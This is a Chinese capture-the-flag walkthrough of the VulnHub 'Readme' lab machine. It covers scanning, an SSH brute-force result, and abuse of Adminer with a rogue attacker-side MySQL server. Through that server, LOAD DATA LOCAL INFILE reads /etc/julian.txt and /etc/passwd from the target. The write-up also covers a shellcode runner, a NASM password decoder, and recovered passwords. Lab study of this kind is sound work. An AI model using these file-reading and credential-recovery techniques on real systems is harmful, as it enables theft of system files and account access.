~ 以圣剑的名义冲锋! ~
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,原文如下
https://blog.csdn.net/2301_79316009/article/details/140642836
这个问题很大,希望原作者能修改修改
我这里提到了,唯一盲点就是 fixed.nasm 的编写,很懵,回头一定恶补,为此我还特意给老外写了一封邮件,哈哈哈哈
靶机链接:
https://www.vulnhub.com/entry/readme-1,336/
主机发现
80探测
访问网页
端口扫描的mysql服务
拒绝连接,说明没有开启远程连接
目录扫描
php版本
reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件
Also, can you fix this search box? Sometimes it chucks errors depending on what I enter...
I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though.
大致意思就是,这个输入框会报一些错误,让你修复
测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了
sqlmap结果
看另外一个文件,有一个adminer
mysql服务失效
使用内网地址,不允许连接到mysql服务器
返回有一个图片的地方,源码泄露了一个路径
访问路径
文件内容
ssh用户julian密码爆破的结果
漏洞检索,也没有结果
连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉
vim /etc/mysql/mariadb.conf.d/50-server.cnf
重启mysql
sudo service mysql restart
设置mysql密码,并登录
sudo mysqladmin -u root password 'root'
mysql -u root -h 192.168.111.128 -p
# 输入你得密码
创建登录数据库,新加一个数据
create database test; # 创建一个test数据库
use test # 切换到test数据库
create table demo(id int,name text); # 创建一个普通的表
insert into demo values(1,'demofefhkhakfh'); # 添加任意数据
select * from demo;
+------+----------------+
| id | name |
+------+----------------+
| 1 | demofefhkhakfh |
+------+----------------+
1 row in set (0.000 sec)
这里我们就能进行远程连接了
连接成功
这里再结合之前暴露出来的路径信息
执行如下命令
load data local infile "/etc/julian.txt" into table demo;
为空,检查一下原因
设置一下local_infile
SET GLOBAL local_infile = true;
SHOW GLOBAL VARIABLES LIKE 'local_infile';
检查secure_file_priv
SHOW GLOBAL VARIABLES LIKE 'secure_file_priv';
这些都没问题,就是sql语句错了,可以看看这篇老外写的文章
https://rastating.github.io/readme-walkthrough/
正确的sql语句因该如下才对(和原来的对比就是少了个字段)
# 原失败的sql语句
load data local infile "/etc/julian.txt" into table demo;
# 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符
load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";
同理,包含/etc/passwd,也可以成功
sql语句如下
load data local infile '/etc/passwd' into table test.demo fields terminated by "n";
但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论
I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh
漏洞利用原理自行查看,这篇文章写的不错:
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/
登录成功后,信息收集
识别hash类型,是MD5
sudo
再切换用户的目录,有一个poc.c,编译一下
开启了http服务,看样子有防火墙
继续信息收集
端口和进程信息
suid文件
历史命令
那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码
-
payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 -
poc.c :一个需要放置shellcode并运行他的文件
#include <stdio.h>
#include <string.h>
int main(void)
{
unsigned char code[] = "";
void (*s)() = (void *)code;
s();
return 0;
}
在kali中报了如下错误
依次执行如下命令即可
dpkg --add-architecture i386
apt-get update
apt-get install libc6-dev-i386
编译成功
这里又要用到反汇编了,完整的poc.c如下
这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了
https://rastating.github.io/readme-walkthrough/
global _start
section .text
_start:
; set the frame pointer
mov ebp, esp
; clear required registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; push encoded password onto stack
push 0x7f7f1312
push 0x157b2f22
push 0x13247312
push 0x087b0423
push 0x73287022
push 0x30280912
push 0x3b162f20
push 0x360e1919
push 0x157b0913
push 0x757b0960
push 0x70167510
push 0x2d162f25
push 0x73241923
push 0x09167527
push 0x1a772b0c
push 0x37787217
; calculate size of password and store in $ecx
lea ecx, [ebp]
sub ecx, esp
; begin xor on the encoded password
decode_loop:
; if at dword 12, xor with F
lea edx, [0x14]
cmp ecx, edx
jz xor_f
; if at dword 11, xor with E
lea edx, [0x18]
cmp ecx, edx
jz xor_e
; if at dword 10, xor with E
lea edx, [0x1c]
cmp ecx, edx
jz xor_e
; if at dword 9, xor with B
lea edx, [0x20]
cmp ecx, edx
jz xor_b
; if at dword 8, xor with D
lea edx, [0x24]
cmp ecx, edx
jz xor_d
; if at dword 7, xor with 4
lea edx, [0x28]
cmp ecx, edx
jz xor_4
; if at dword 6, xor with E
lea edx, [0x2c]
cmp ecx, edx
jz xor_e
; if at dword 3, xor with D
lea edx, [0x38]
cmp ecx, edx
jz xor_d
; if at none of the unique indexes
; xor with A.
jmp xor_a
short_loop_jmp:
jmp decode_loop
xor_f:
lea ebx, [0x41414146]
jmp xor_eof
xor_e:
lea ebx, [0x41414145]
jmp xor_eof
xor_b:
lea ebx, [0x41414142]
jmp xor_eof
xor_d:
lea ebx, [0x41414144]
jmp xor_eof
xor_4:
lea ebx, [0x41414134]
jmp xor_eof
xor_a:
lea ebx, [0x41414141]
jmp xor_eof
xor_eof:
lea eax, [ebp]
sub eax, ecx
xor [eax], ebx
sub dword [eax], 0x01010101
sub ecx, 0x4
xor eax, eax
cmp ecx, eax
jnz short_loop_jmp
int3
int3
int3
int3
依次执行,会生成一个a.out
文件,该文件是修复后的可执行文件,我们使用gdb运行它
启动此文件就好了,并查看这个xor_eof()函数反汇编信息
查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下
x/<n><f> <address>
-
n
是要显示的单元数量(可选),表示要查看多少个内存单元。 -
f
是格式说明符,可以用来指定数据类型或格式。 -
<address>
是你想要查看的内存地址。
格式说明符
在 x/
命令中使用的格式说明符可以包括:
-
b
:以字节(byte)为单位显示。 -
h
:以半字(short)为单位显示,通常为 2 字节。 -
w
:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 -
g
:以双字(double word)为单位显示,通常为 8 字节。 -
s
:以字符串的形式显示,通常以 null 结尾。 -
f
:以浮点数格式显示(比如float
或double
)。 -
i
:以指令的格式显示,适用于机器指令。
例子
-
查看从某个地址开始的 10 个字节:
x/10b 0x08048000
-
查看从某个地址开始的 5 个整型(常用 4 字节)值:
x/5w 0x08048000
-
以字符串形式查看从某个地址开始的内容:
x/s 0x08048000
查看机器指令i
,和s
一个一个试试,会找到一个base编码
我们解码看看,这不就是我们要的密码嘛
密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE
往期推荐
【oscp】Blender软件的信息泄露---VulnOSv2
【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
原文始发于微信公众号(泷羽Sec):【oscp】稀有靶机-Readme
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论